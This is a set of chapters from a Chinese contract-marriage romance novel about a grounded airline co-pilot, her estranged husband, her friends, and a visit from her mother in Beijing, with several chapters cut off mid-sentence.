宽体机双通道,每列三个座位的布局像极了A350。 看氛围灯和座椅套的配色就知道是海云航空的风格。 黎念手颤巍巍地点了播放,把音量调大一些。 “再不让我下去你们一个个都等着投诉吧!” “先生,真的很抱歉,但是现在确实还不能放行……” “操尼玛的,不想听你瞎扯。赶紧叫你们领导来,我要你们赔偿我的全部损失!” 粗鄙不堪的言语从扬声器里钻出来格外刺耳,听起来像是前舱有人在撒泼,乘务员如何也劝服不了。 多么熟悉的配方。 一些终身支配黎念恐惧的回忆再次浮现。 她扫了一眼屏幕下方的文案,试图印证心中的猜想。 【海云7897舱内有人闹事,他不会是有超雄综合征吧!#海云航空#海云空难#大无语事件】 不知怎的,看着这段文字,黎念恍若隔世,眼睛也没来由地发酸。多日积压在心中的厚重阴云顷刻间被无形的大手拨开,久违的阳光趁机从狭窄的缝隙中顽强破出。就连沉闷凝滞的呼吸也畅快许多。 在办公室里接受调查时的画面仍然历历在目。独自面对局方的质疑、赵斌的冷嘲热讽,她照单全收,未敢吭一声气。因为证据丢失,所以一切不利局面都指向了她。 现如今,这份路人记录下来的音视频资料虽然看不清前舱的具体情况,但何尝不是一种有力的佐证。 她继续屏息凝神听下去。 “先生这是舱门,乘客不能随便打开!请您立刻回到座位上,否则要承担相应的法律责任。”是安全员小张的声音。 那个乘客已经冲到了舱门口,听起来像是被小张钳制住,恼羞成怒不停挣扎。 “滚吧你!哪有那么多毛病,吗的。” 两人瞬间扭打到一起,嘈杂的打斗声把后舱竖着耳朵偷听的围观群众都吓了一跳,不用看也知道现场一定十分激烈。 录像的人嘴里还嘀咕了一句怎么不报警。显然不清楚外面的救援形势有多么严峻。 后来,黎念的声音响起,朦朦胧胧听不太真切。 “先生您好,我是本次航班的副驾驶,您有什么诉求可以尽管和我提……” 接着发生的一切简直再熟悉不过。 虽然黎念总在刻意逃避去回忆那天发生的种种细节,但这些瞬间其实早已刻骨铭心,只要遇到触发机制就会被唤醒。 她也没有料想到那一记耳光是如此响亮,让视频里的所有乘客都倒吸一口凉气,也让围坐在她身边的朋友们面露难色。 所有人目光不约而同投向黎念。 怜惜的、惊诧的、忿忿不平的…… “你们这样看得我好难为情。”黎念挠挠头,眼神在四周不安地逡巡。 她一直分不清自己是天生高自尊心还是后天成长环境倒逼着她过分要强。面对熟悉的人善意的怜悯,她竟会无所适从。 “什么都别说了,就凭你这舍身伺猛虎的劲儿,你永远都是我姐。”陈鹏鹏举着喝到只剩一口的柠檬水,直接仰头饮尽。 黎念脸一垮,霎时哭得很难看:“鹏鹏……” 两个人抱在一起痛哭流涕,难解难分,不知流干了多少个大洋的眼泪才停下来。 黎念顺手摸了一张外卖附送的餐巾纸拭去泪珠,然后把纸攥在手里,咬着牙道:“我现在就把这个视频发到飞行部的邮箱去申诉,让他们看看我遭受了多大的精神损伤。” 她说到做到,立刻挂上梯子打开公司内网,斗志昂扬地编辑邮件点击发送,顺手给公关部也抄送了一份。 见她六神归位转悲为喜,三人此行目的终于达成,打心眼里也跟着一起高兴。 直到黎念神不知鬼不觉变出一副麻将,晋姝意和陈鹏鹏默契对视。 以前这人就爱拉着他们通宵达旦地“麻”。已经有心情打牌了,看来是彻底恢复正常了。 - “啧——这什么烂手气。”黎念把牌翻过来,不爽地扔掉。 第一回合,场面便有些焦灼。 黎念早早地就听了牌,却一直没有等到自己想要的制胜绝招。眼见着她的上家程澈打出来一张七条,自己又摸出一张无用的幺鸡,整个人瘫倒在牌桌上一动不动。 隔壁两个自诩雀神的老手怎么也做不出来好牌,看起来同样神色凝重。 接下来到第三圈的时候,程澈抽到一张八筒。他用手指点来点去,端详片刻后,将面前的牌一推:“清一色自摸,我这是胡了吧?” 他在此之前从未上过牌桌,就连观战的经历都不曾有过。规则都是现教现学的。 “啊!这就是新手保护期吗?”晋姝意站起来围观,不可置信地惨叫一声。 陈鹏鹏冷哼道:“开局第一把狗都不胡。”实则嫉妒早已写满在了脸上。 麻友们有个心照不宣的讲究,就是“千刀万剐不胡头一回”,不然会败光之后的牌运。但也有阻却霉运的事由,比如像程澈这样自摸胡牌。 也不曾想,他的手气从一开始便一直旺下去,把对面某些人的腰包都快掏空了。 “老天爷太不公平了,不带这样照顾菜鸟的。”晋姝意扫付款码时不忘哀嚎。 黎念笑道:“你个当姐的不得让一让小孩儿?” 晋姝意撇撇嘴,有些不服气:“我没有让!明明是他打得太凶。” 程澈先前因为赢得太多不敢吭声,这时反倒理直气壮起来:“小意姐,我只是比较善于观察。” “确实,”黎念伸手从背后取来菊花茶抿了一口,“川麻打法,一共就三种花色,还必须得缺一门,场上出现过哪些牌心里不得有数啊?” 牌桌上没有茶水好像就没有灵魂。 晋姝意气得跺脚:“你们这些臭三轮,就知道联合起来欺负人。” 程澈笑而不语,甚至还故意把手机声音打开。微信到账的语音播报响起,女声甜美动听,声声入耳像极了刮骨刀。 黎念在阆园的家不比基地宿舍公共活动区常年备着机麻,这里只有最原始的手搓麻将。 没打几圈便有人叫苦连天。 22. 阿佛洛狄忒 《风起时吻你[先婚后爱]》全本免费阅读 “姐,这位是?”程澈看向黎念,不祥的猜测时刻萦绕在脑海里,让他惊惶万分。 黎念在私生活上一贯保持神秘,从不会主动向别人谈及自己的感情状况,基地和机场里向来不乏倾慕她的男同事。 但正是这样低调的人,竟然已经有了同居男友? 程澈先前跟着参观到主卧的时候偷偷扫了一眼,并没有看到任何其他人的生活痕迹,内心还暗自庆幸过。 现在,他承认自己的想法有些可耻。 眼前的男人身姿伟岸挺拔,质地精良的衬衫难掩其下长年累月稳扎稳打的训练痕迹,蓄势待发的力量让同性都羡慕嫉妒到抓狂。更令他感到落寞的是男人举手投足间流露出的成熟凛冽。 程澈赫然觉得自己就像个又菜又爱玩的小孩,输掉了比赛还要暗自较劲发气。 黎念迅速恢复镇定,对牌友们若无其事笑道:“噢,他就是房东,好像最近回国了。” 房东? 这是什么新的玩法? 谢持好气又好笑地一挑眉毛,先是耐着性子和众人点头致意,然后把手插在裤袋里静静看她表演。 “我才不信,谁家房东没事去租客家里啊。”晋姝意在牌桌上迟钝,但在情场上异常敏锐而刁钻。 黎念内心已经开始抓狂。 晋姐,能不能阅读一下空气!遇到这种场合打个哈哈搪塞过去就行了嘛,真没必要刨根问底让她下不了台面。 她无语凝噎:“可……可能有什么东西忘在这里……今天来拿吧。 “你说是吧?谢先生?” 黎念重新看向不远处站着的谢持,试探地笑。 谢持心领神会,冷哼一声转头就走,拉开房门消失在了众人视野里。 气氛登时降到冰点,被打出去的麻将还散乱在案上,四个人已经忘了接下来该轮到谁出牌,呆愣着一动不动。 最知晓内情的陈鹏鹏捏了一把虚汗,偷摸把牌整理好放进箱子里,忙给晋姝意使了个眼色,拉着她从地上一骨碌爬起来,又绕到茶几的另一头拎起风中凌乱的程澈。 “宝儿啊,你继续忙,我们就先撤了哈。”陈鹏鹏笑道。 晋姝意跟着帮腔:“姐,工作上的事儿你也别烦心,说不定过两天处分就给你撤销了。之后有啥问题随时联系我们哪。” 然后两个人纷纷看向程澈。 这傻小子还在走神,眼睛都看直了。 “我……”程澈被目光一灼,这才意识到自己似乎也得说点什么,“我明天有大早班,得五点起。” 黎念没再多说什么,把客人引到楼下,指明了出小区的方向便不再继续往前送。 晋姝意走出去很远才问道:“陈跑跑,你到底还知道什么内情不?” 大家都不傻,看黎念那个做贼心虚的模样,猜也能猜出来个七八分。她和这位谢先生之间的关系绝非仅仅是房东和租客那么简单,或者说,单纯。 陈鹏鹏在小程序里叫好网约车,锁掉屏幕把手机放进手提包里,叹气摇头:“这种事还是得等她愿意亲口讲出来才行,我们就别咸吃萝卜淡操心了。” 沉默半分钟之后,他又像想起来什么:“对了,我只打了自己的车回朝阳,你俩去基地那个鸟不拉屎的地方麻烦自理哈。” “……”晋姝意送给他一对白眼。 - 黎念回到家里时,发现平时几乎不使用的书房的门竟然虚掩着。她踟蹰片刻,轻轻敲了敲,没有等到里面的回应,于是径自推开房门朝里眺望。 房间里亮度很暗,落地窗前亮着一盏昏黄的氛围灯,和屏幕投射出来的冷调光线交杂在一起,落在男人的身侧。 谢持略微侧坐在电脑前,头上戴着监听耳机,正在摆弄着那个陈旧的电吉他。 黎念不知道他在弹奏什么曲调,只听见铁线颤动的微弱声响,看着他纤长灵活的手指在指板上翩跹纷飞。弹到投入时,他的头和肩膀会跟随手部动作有节奏地小幅度摇晃。 从来没见过谢持还有音乐上的天赋。 她差点以为爱玩任天堂游戏机就是他唯一鲜活的一面。 黎念读小学时,总爱抱一颗足球去谢持家的书店找他玩,却总会发现他坐在书架下面,捧着诸如《小哥白尼》《博物》这样的科学杂志看得入迷。在学校里,谢持也鲜少参加男孩子的集体活动,踢球、飞盘、弹珠、跳棋他一概不玩,只喜欢缩成圆滚滚的一团,在座位上啃各式各样的书。 班里的同学都给他起外号叫“书虫”,再长大一些有了美丑胖瘦观念之后,绰号就演变成了“大肥虫子”。 黎念还为此和始作俑者在学校公共厕所门前打了一架,失手砸坏了玻璃窗户,让中午忙得焦头烂额的黄丽娟在接到德育处电话后直接冲出店铺蹬上自行车,也没顾上收客人的饭钱。 后来周珮文还因为这件事专程宴请答谢了黎念一家人,从此两家之间的往来更加密切…… 黎念驻足在书房门前,凝望得有些失神。 突然,谢持停下手里的动作,一曲终了。他把吉他的电源断掉,站起身来,举起桌上的高脚杯将里面的红酒仰头饮尽,喉结明显地滚动两下。 他余光瞥见黎念后,把空酒杯扣在桌上,脚步微晃,直接朝她走来。 她这才注意到他早已经把工作时所穿的衬衫脱掉,上半身只剩下一件用来打底的纯白背心。大臂上微凸的青筋一直蔓延到手腕,心口那块大面积的纹身半露出来。 电吉他还挂在身前,背带正好勒在斜方肌上,白净的皮肤被摩擦出了淡淡的红痕。 黎念的腿像是灌了铅一般,把她牢牢地钉在原地。她察觉到危险的气息,害怕地眯起眼睛不敢看他。 “我是房东,谢先生?”谢持取下吉他放在墙角,离她一步之遥稳稳站定。 黎念呼吸一滞,顿时感到无所适从,偏过头去撅着嘴,不为自己辩解。 “你就这样把我介绍给你的朋友吗?”谢持再往前靠近一点,没等她开口继续逼问道。 “对不起。”黎念声音有些颤抖。 “呵……”谢持将头发向后一拨,嘴角漾开笑,低沉的声音掺了些许凉薄讽意,“我们已经结婚两年了。念念,我到底配做什么?房东,同住的舍友,结婚证名字可以写到一起却不 23. 阿佛洛狄忒 《风起时吻你[先婚后爱]》全本免费阅读 是夜,黎念独自躺在大床上,睁着困倦的眼睛失眠到了破晓时分,直到加量的褪黑素终于起效,才意识飘渺沉沉睡去。 她再次不可避免地梦到了那个燥热难耐的傍晚。海云7897,左引擎火警,反复折磨她的梦魇连续几晚上演。 但是这一次,梦里出现了谢持。 他作为技术支援工程师随同飞行,观察机翼情况之后来到驾驶舱门口,只留下了短短两句话。 “可以安全降落,别怕。” “念念,我一直都在。” 黎念从来没有睡得如此安稳,一直到晌午时分被电话吵醒。 第一反应看了眼时间,上午11时。她竟然奇迹般拥有了超过两位数的睡眠小时。 再看来电人,不是送惊喜的签派员,而是她亲爱的母亲黄丽娟。 黎念暗道一声不好,连忙坐起身,清了清嗓子,假装自己已经醒过来很久:“喂,妈?” 黄丽娟那边听起来有点吵,除了鼎沸人声,还有车轮重重击打铁轨的轰鸣,耳朵都要摩擦出火星子。 “黎念!怎么还在睡懒觉?真把自己当无业游民了吗?你不给自己找点事情做,就一天到晚在那里躺起,像什么样子?”她的声音一如往常地尖锐,有种毫不在乎他人感受的霸道。 黎念强打起精神,音色清亮:“没有啊,我刚刚在运动,没有看手机。妈你找我做啥子嘛。” 黄丽娟现在心里十万火急,根本没有闲心戳穿她的谎言。 “搞快点来火车站接一下你妈,我马上就要走拢京城了。刚刚问那个服务员小妹儿,她说现在都开到啥子保定了。” “人家才不是服务员……”黎念嘟囔道,旋即大吃一惊,“啊?你来这里做什么!” “管求那么多,记得来接我哈。反正你妈是摸不到方向的,京城那个七倒八拐的地铁太吓人了,把我整丢了咋办嘛。”黄丽娟笑得很是爽朗。 黎念听得云里雾里,挂断电话之后总觉得哪里不对劲,回味半天才想起来忘记问她最重要的事情了。 “喂!你在哪个站下啊!” 京城的火车站一只手都数不过来。 黎念刚来这里求学时有过惨痛的经验教训,倒了四班地铁哼哧哼哧跑到西站才发现车票上写的是南站,于是又急匆匆赶过去,最后还是错过原定计划被迫改签。 再过几年,京蓉两城都拥有了双机场,走错方向的乘客越来越多。 黎念作为飞行员竟然也被家里的亲戚问过,为什么去同一座城市不能同时在首都和大兴都停一停。 呃。 黎念在西站南广场出站口接到黄丽娟时,对方刚从自动扶梯走下来,正拎着印满花花绿绿广告的购物袋左顾右盼,背上还背了一个扎眼的太阳神鸟双肩包。 前段时间蓉城召开国际体育盛事,给全城居民发放周边礼品,黄丽娟在短视频平台上看到别人秀出来的照片,羡慕得三天两头拉着黎念唠叨。 终于轮到她们这个郊县时,黄丽娟满心欢喜,把包背上便再也舍不得脱下来。 “妈!”黎念冲着她招招手,小跑上前接过她手中的布袋,“都不准备个行李箱啊,这么多东西好难得提噢。” 比想象中更沉,不知道一个个袋子里面都装着什么。 黄丽娟活动了一下肩膀,用拳头敲了敲最酸疼的部位,嘴里絮絮叨叨:“给你带了点豆瓣海椒,还有我自己卤的鸭脑壳鸡翅膀,拿回去自己学着弄饭吃嘛,不要总是点外面那些外卖,你都不晓得有好脏得。 “你老人婆都跟我说了,小谢已经回京城了。你们两口子在一起的时候该多研究一下厨艺,增进增进感情。日子就跟那个炉灶一样越烧越红火。” 黎念放了一只耳朵只听个大概,没完全把这些话放在心上。她心不在焉地领着黄丽娟穿过熙熙攘攘的人群,坐上出租车。 司机师傅没走高速,直接拐进了二环。汽车沿着护城河行驶,一路上经过许多古朴庄严的老城楼。 京城近些年空气质量治理得不错,遇上大晴天时,一望无际的湛蓝像极了海水被打翻,稀薄的云朵便是那腾涌的细浪。 黄丽娟不顾车里开着空调,直接把窗户打开,任凭热风灌满车厢、吹拂在长满黄褐斑的脸上。她眯着眼趴在窗框处,像是动物被舔舐毛发一般享受自然的馈赠。 “还是京城好,到处都亮韶得很,天都好蓝哦,一点都不像我们那边灰蒙蒙的,”黄丽娟操着一口方言,毫不掩饰内心的激动,“诶?黎念,那个房子是啥子喃?” 她上一次来京城还是若干年前黎念刚上大学时。但由于时间紧迫,黎念赶着要回学校军训,母女俩都没有来得及好好四处逛一圈便仓促分别。 黎念顺着她手指的方向瞥了一眼,她们正要穿过桥洞,头顶斜上方是京城中轴线上的永定门。 当然这是查地图才知道的。 “嘿——”黄丽娟用随身携带的塑料扇子敲打她的头,“你娃白在京城待这么多年,全都打水漂了嗦。” 黎念捂着头,假装吃痛地叫唤一声:“妈!你去天府广场都不晓得要坐几号线,你还好意思说我。京城这么大,我又不是每天都睡在天安门城楼里头。 “况且机场都远到冀省去了,我平时忙得来瞌睡都睡不够,哪有时间进城耍嘛。” “死女子硬是嘴犟得很,说她一句要顶我十句。”黄丽娟翻了个白眼,自觉没趣便不再同黎念争辩。她靠着座位不一会儿便熟睡过去,断断续续的鼾声时而响起。 黎念不知道黄丽娟昨晚在火车上是不是偷牛去了,居然比她飞完大四段还能秒睡。 等到出租车停稳在地下车库里时,黄丽娟又一秒清醒过来,像个没事儿人似的打开车门迈出腿。 “走哇。” “耶?这是哪?!” 黄丽娟进入阆园的夸张反应,相较之前的朋友三四有过之而无不及。她趿着备用拖鞋在每个房间里留下足迹,嘴里不停发出啧啧的喟叹声。 不过黄丽娟也看不太懂装修的细节,只觉得黎念之前一个人住在这里实在有些浪费,现在即便加上谢持也显得空荡荡的。 都说房间小才有利于聚气,她要真撞到鬼了都没人来帮她。 “你娃看你这个衣柜子哦,”黄丽娟揪着黎念的耳朵把她拉到衣帽间,“都结了婚的人还这么没收拾,别个小谢都没有意见啊 24. 阿佛洛狄忒 《风起时吻你[先婚后爱]》全本免费阅读 注册编号为B-309J的A350客机在发生事故之后便一直停放在大兴机场的海云航空1号机库中。 出现严重故障的罗罗TrentXWB引擎的部分零件耗时三日终于被拆解下来,单独搁置在一边。这块引擎体积实在太大,机务往往需要扶梯辅助检修工作,现在它的周围依然围满了吊具、支架、起重机等设备。 谢持终于亲眼见到飞机的实物。 发动机外部的风扇整流罩几乎被烧毁,内部的金属构件狰狞地外露出来,多个风扇叶片产生断裂。浅蓝涂装的机翼和机身上,火焰灼烧过的焦黄痕迹和外物打击的伤痕无声诉说着事故有多么惊心动魄。 “这儿上面的人真是不容易啊。”杨竟成转过头来,感慨万千。 谢持翻阅着初步调查得来的飞行数据,淡淡一笑道:“是很伟大。” 人在生死存亡的危急时刻难免害怕失误,而飞行员与生俱来的责任使命就是要克服恐惧,和身体本能反应作对抗,力挽狂澜于万米高空之中。 电话铃声响起,谢持看了一眼来电显示。周珮文无事不登三宝殿。 “小持,念念的妈来京城了,你今天晚上七点有空来趟荔荣记一起吃饭。” “好的。我这边有点忙不开,晚点再到。” 杨竟成瞥他一眼,好奇问道:“家里人?” 谢持颔首:“丈母娘从老家过来了。” “今天也没什么事了,你先过去吧,”杨竟成拍拍他的肩膀,“你这些年一直都在外面,对家人也很亏欠吧。抓紧时间多陪陪她们,不要留下遗憾才好哪。” - 谢持踏入包厢时,黄丽娟响亮的笑声几乎快把屋顶掀翻。 “有回两个娃娃一起耍,黎念那个瓜娃子拿嘴对着吸荧光笔的笔芯芯儿,硬是吃了一嘴的墨水,舌头、嘴皮子、手上到处都整得乌渲渲的。 “小谢以为她中毒要死了,吓得跑到我这儿来哭了一下午,结果都不晓得去喊救护车。” 黄丽娟举起筷子,模仿得实在惟妙惟肖。 黎念被她调侃得无地自容,头快埋到桌底下去。 “小持也是笨得很。”周珮文笑眯眯说道。 她正好瞧见立在门口进退两不是的谢持,招呼着他赶紧进来。 谢持听墙根被人抓包,忙换了礼貌的微笑,挨个和在座的女士打招呼,径直落坐在黎念的旁边。服务员很有眼力见,连忙上前为他斟酒,被他用手轻轻一挡,改换成了鲜榨的橙汁。 “哎呀!”黄丽娟放下筷子,眼睛瞪得像铜铃,“两年没有看到小谢,咋又变帅了?” 这绝非逢人就讲的客套话,而是发自真心的赞叹。 当初谢持为了提结婚的事情登门拜访时,还留着一头乱蓬蓬的长卷发。虽然潇洒不羁、帅则帅矣,让人容易联想到九十年代红遍大江南北的金城武和古天乐,但是黄丽娟终归有点欣赏不来,潜意识里觉得小伙子不该那么打扮,更放心不下让黎念跟着一个“叫花子”跑掉。 还是现在这样顺眼些,活脱脱的根正苗红好青年。 她越看这个女婿越欢喜。 简直想象不出来她以后的孙女孙儿长得有多乖。眼睛要像她女,生一双芭比电眼。鼻子最好像小谢,又高又挺,傲视群雄。 黄丽娟离开座位,迈着欢快的小碎步来到谢持身后。手放在他的肩膀上,嘴角咧开就再也合不上,同时还不忘用眼神给黎念暗地里递飞刀。 谢持干巴巴笑了两声:“妈,你才是越来越年轻了。” 黄丽娟把手挪开,捂着嘴笑:“我晓得你在诓我,我天天在那个锅炉前面忙过来忙过去的,都遭熏成黄脸婆了,没有变年轻的道理。” “丽娟姐莫要这么说嘛,平时多注意保养,总会慢慢恢复的,”周珮文笑道,“等会儿你跟我回家,我那里刚好有些护肤品正打算送给你。我们呢,就不要打扰两个年轻人过二人世界了。” 黎念听得脸颊发热,她这个婆婆当真是个人精,连这茬都安排得妥妥当当。 她原本还在忧心怎么和谢持商量让黄丽娟在阆园暂住几天。不过按照她对谢持品性的了解,他断然不会拒绝。 “这怎么行啊?亲家公那边不会有意见吗?”黄丽娟惊诧道,“其实我随便找个招待所住也可以的。” 周珮文神色自若:“丽娟姐不要见外嘛,辛辛苦苦跑来一趟,我们怎么可能让你住招待所。 “思谏他就是忙得脚不沾地,三天两头回不了家的。我们那里房间多,离城区还近些,你在京城这些天仅管放心住,随时想出去玩我都可以陪着你。” 黄丽娟喜出望外:“那简直太巴适了!” 她原本想要对谢持盘问的更多问题在此刻化作云烟消散,甚至开始盘算起来去哪里转耍。故宫、天坛和颐和园肯定是要去的…… 散席后,周珮文开车带着黄丽娟先行离去。不一会儿,谢持的车也缓缓驶到黎念跟前来。 “上车。”他摇下一半车窗,神色晦暗不明。 黎念顺势要去开后座车门。不料谢持眼疾手快把车锁上,让她怎么使劲也打不开。 她急不可耐敲了敲前面的车窗,朝里面的人没好气地嗔怪道:“干嘛呀?” 谢持冷冷睨她一眼,默不作声按下解锁键。 黎念又要去开后门,没等她手够到把手,谢持再次把门锁上。 她觉得自己被故意愚弄,怒极反笑。 不知道他有什么好较劲的,好幼稚的一个人! 身后渐渐积累起一长串排队等待出场的汽车,竟无一人敢鸣笛催促。后车近光灯灼热地投射在黎念身上,让她窘迫到无所遁形。 她恨不得把手伸进去掐住谢持的脖子。 黎念趴在窗户上,气鼓鼓斥道:“我去打出租了,回基地!”然后转身假装离去。 才迈出去半步就被拦住。 “坐副驾。”谢持终于肯开他那金口。 “……” 黎念扣好安全带便一直侧坐着,凶狠的眼神锁定在谢持身上,像是要把他生吞活剥。 “捉弄我好玩吗?”她拧着眉头诘问道。 谢持目视前方岿然不动,故意吊了她半晌,内心早已风起云涌。 等到红灯旁边的数字开始闪烁,踩着刹车的力度慢慢减弱,整台汽车发出蓄势待发的轰鸣声,他才假装不紧不慢反问道:“我只是不想让你总把我当司机使唤,有问题吗?” “你……”黎念生气喊道。 汽车立即如离 25. 阿佛洛狄忒 《风起时吻你[先婚后爱]》全本免费阅读 黎念回家后难得同谢持心平气和共处一室。 看到她的游戏机还接在电视上,谢持主动提出来要和她连机玩游戏。 他变魔法似的拿出一盒游戏卡带。 “试试‘ittakestwo’?” 竟然连游戏手柄都事先准备好了,还是pro版海外限量发行联名款。 黎念嫉妒得牙痒痒。 当时她在天上飞,错过了抢购时间。唯一能使唤的前男友也没兴趣陪她一起玩物丧志,自然推辞掉了帮忙抢购的任务。 黎念看到这个手柄,难免痛心疾首回忆起那段堪称黑历史的恋情,同时也为自己大清早蹲守球鞋发售只为送前任生日礼物的天真烂漫而感到不值。 “挺专业啊,”黎念轻飘飘道,“在外面没少和人玩吧。” 谢持正在电视柜前捣鼓机器,懒得和她互呛,倒是很诚恳地反问:“你没发现这是全新未拆封吗?” 黎念撕下外包装纸,打开盒盖,取出里面小小的黑色存储卡递给他。 “嗯,现在知道了。” “买它的时候没想过有一天真能用上。”谢持继续专注于手里的动作,笑意浅淡。 “少爷又浪费钱了,”黎念抱着臂,不屑哼了一声,“不玩买它干嘛?满足你那变态的收藏欲吗?” 她脚蹲得有些麻,干脆调整姿势盘腿坐在地上,毫不在意形象。 “这说的什么话,我看起来像是和‘变态’沾边的那种人吗?”谢持回头紧盯着她。 “你的箱子上面到处贴满了行李托运贴纸,好多都旧到翘边了,结果还没有撕掉。还有你带回来的面包,法国所有的品种都集齐了吧。”黎念对此如数家珍。 谢持恍然大悟笑道:“原来你一直在暗中观察我。” “烦死了!”黎念大脑防线轰然倒塌,又羞又恼地啐了一声,抓起一块离她最近的靠枕朝他丢过去,手撑在地上便要起身离开。 细腕被人轻而易举扣住。 “游戏还没有开始,不要临阵脱逃。”谢持危险地眯起了眸子。 黎念冷哼一声,挣脱他的手,抄起手柄退回到正对着电视的弧形沙发处,大剌剌地坐在地毯上。 她滑动摇杆,在主界面无数个游戏中逡巡。 谢持不知何时也挪了过来,学着她的样子席地而坐。 “多大的人了还玩‘宝可梦’,幼稚不幼稚啊。”他认真端详片刻,说出来的话很欠打。 “是是是,我就喜欢小儿科,”黎念剜了他一眼,冷嘲热讽回去,“又不像你,小时候非要逞能玩‘寂静岭’这种恐怖游戏,结果吓得半夜发高烧,第二天都没法上学。” “……”谢持一时语塞,暗自腹诽道,其实是病毒性感冒,没有那么玄乎的。 但他无心反驳,只好乖乖受着。 游戏一上来就是一对夫妻正在面临离婚的关键抉择。 黎念本来正在喝水,看到这段动画险些被呛到。 她以前只听说过这部双人游戏制作如何精良,操作如何复杂,通关之后如何有成就感,但从来没有深度了解过它的故事背景。 此刻的心境下,竟品出来一些含沙射影的意味。 她偏过头去看谢持,他淡漠的表情丝毫瞧不出异样。 “你选谁?”谢持回看她,扬了扬手柄。 游戏界面提示需要选择角色,一个瘦小的木雕女孩和一个胖胖的黏土男孩。 “我玩科迪,你玩小梅。”黎念不由分说替他做了决定。 谢持瞳孔微颤,欲言又止。 他一度因为体型自卑,甚至到了平等地厌恶每一个被设定为肥胖的虚拟角色的夸张地步。 曾经受过的歧视和霸凌在今天仍然是深深扎在心底的一根刺,虽然时间久远已经不再剧烈疼痛,但偶尔也会有轻微的排异反应。 “网上说小梅难一些,我肯定不行,”黎念仍然盯着屏幕目不转睛,“你也按一下‘A’键,跳过剧情。” 谢持体会到她的用意,释然地笑了。 “不要总是先着急否定自己啊。” 但事实证明把困难的事情交给合适的人做是绝佳选择。 “啊啊啊啊啊——” “诶不是怎么又掉下去了!!” “我恨这个脑缠吸尘器!!” 黎念操纵的小人总是“出师未捷身先死”,谢持总是耐着性子等在前方,看着她一遍又一遍地坠入深渊,不动声色。 他其实很想吐槽,当飞行员就这点心理素质的话,在气象雷达上看到“西红柿炒鸡蛋”不得吓得吱哇乱叫。 但他竭力把所有不中听的话咽下了肚,怕打击她的信心,更怕她撂挑子不干怎么也哄不好。 直到黎念第十次失败,谢持觉得自己再憋就快憋出内伤了。 “需要我帮忙吗?”他无奈扶额。 “别管了,我操纵,你通讯!”黎念厉声拒绝道。 即便停飞也改不掉这一身职业病,或者说是肌肉记忆。她正忙着过关,完全没空理睬他。 谢持轻笑出了声:“好的机长,‘player2’听你指挥。” 好在黎念悟性强,平时游戏玩得多也熟知关卡设计的套路,磕磕绊绊通过前两关之后变得愈发得心应手。 两人跳过剧情线直奔各种游戏boss,一路披荆斩棘所向披靡,玩到眼白布满了血丝,喝掉了一罐又一罐功能性饮料,历时六个小时终于打通关。 游戏中,两个玩偶小人在盛放的烟花中拥抱亲吻,象征着现实世界的夫妻重修于好。 黎念已无精力为别人的爱情流泪。她头晕眼花看着墙上的时钟,时针破天荒指向了“4”。 “完了,”她近乎绝望发出一声哀嚎,“我妈让我明天早上八点就去故宫门口碰头。” 其实应该是今天。 谢持闻言也觉得不可思议:“太早了吧,那个时间景区门开了吗?” 黄丽娟这个人就是做什么都积极得很。 亲戚朋友摆酒席,说好的中午十二点开饭,她总是大清早就跑到人家屋里去嗑瓜子话家常,也不管主人有没有在睡懒觉。 所以她也逐渐成了黄家小辈口口相传的唯恐避之不及的头号危险人物。只要她大驾光临,他们就要被迫起床招呼客人了。 黎念咬着手指思忖片刻,幽幽地看向他,笑得诡异:“借你一用行不行?” 谢持惊恐万分抱住自己:“???” - 东华门附近有许多新开的旅拍店,蹭上了国内景区“素人改造”的热度,生意都看起来不错,里里外外忙得热火朝天。 黎念按照黄丽娟发过来的定位,穿过一排又一排姹紫嫣红的清宫旗装和金光灿灿的饰品,在最里头的化妆间里找到了穿着皇后礼服正在做发型的亲妈。 她随便搬来一张化妆师的旋转椅坐下。 “你选了套这么霸气的造型啊。”黎念打趣道。 黄丽娟额发鬓角都梳得油光水滑,加长加浓的假睫毛扑闪扑闪,美目流转把黎念电得一个激灵。 “我本来想打扮成小燕子的,但是我试了一下衣服,太奇怪了,总觉得我们这些老娘子还是不要装嫩的好。” 戴着口罩的化妆师听懂了二人说的方言,在一旁笑得两眼弯弯:“姐姐你这么年轻,皮肤又好,想要化成小燕子或者紫薇都不是问题哪。” “喔唷 26. 阿佛洛狄忒 《风起时吻你[先婚后爱]》全本免费阅读 黄丽娟最终还是在京城多待了几天。黎念和周珮文轮流陪着她,把大大小小的景点都玩了个遍。 黎念送她到西站进站口时,她故作神秘递过去一个红色塑料袋包着的小方砖,压低了声音。 “这里面也就是万把块钱,你先拿着用。” 袋子被揉得皱巴巴的,丝毫不起眼,引不起来往行人的围观兴趣。 黄丽娟一直很抵触现代科技,总觉得钱放在电子钱包里面不保险,容易被人盗刷。黎念为此和她科普过无数次移动支付的安全性和便捷性,她也油盐不进,日常生活坚持以纸币为主。 就连娟妹冒菜也是顶不住老顾客的压力,在两年前才开通的二维码。 现在黄丽娟依然保持着定期去银行取现金的习惯。把钱有零有整地抠出来,放到家里不为人知的小金库里面藏到天荒地老,才是她心安所在。 黎念手上突然多出来一些重量,压在心里沉甸甸的。 “我不需要这么多……你自己留着吧。”黎念推拒道。 一捆一百张,约等于冒菜店里一个月的营业额。现在新店越开越多,网红营销策略层出不穷,这种藏在巷子里的普通小店生意也受到严重影响。扣除掉原料损耗、店铺租金、水电气费和其他杂项,黄丽娟每月的收入其实算不上宽裕。 所以黎念并不总在随意挥霍自己辛苦挣来的小时费,她也时常用网银给黄丽娟转账以补贴家用。 “拿到起!”黄丽娟用严肃的语气命令道。 她把这一沓钱重新推给黎念。 “我晓得小谢他们家里有实力,随随便便拔根毛下来都够普通人家吃饱穿暖一辈子。但我现在想通了,你没必要靠着夫家的钱来过活。 “女娃子最好还是要有自己的事业,有养活自己的经济基础,这样才不用看人眼色行事,更不得受到他们的轻视。” 黎念听得有点感动,鼻子一酸,声音微微颤抖:“妈……” “你现在遇到了困难,我可以暂时支持你这一小段时间,但绝对不会让你啃老一辈子。实在不行你就辞职换份工作,回去当个游泳教练也可以撒。”黄丽娟图穷匕见。 “妈!你怎么又哪壶不开提哪壶?”黎念痛苦地捂住耳朵。她想把这笔钱丢掉的心都有了。 还以为自己多年的坚持终于得到了认可,没想到黄丽娟在飞行这方面依旧固执得像块顽石。 黄丽娟甚至连飞机都很抗拒搭乘。 动身回家前,黎念实在拗不过她,又怕她和去程一样坐火车硬卧折磨自己,帮忙买了张高铁商务座的票。 算下来比隔壁熊猫航的京蓉快线商务舱还贵,但黎念没有告诉黄丽娟价钱的事情。 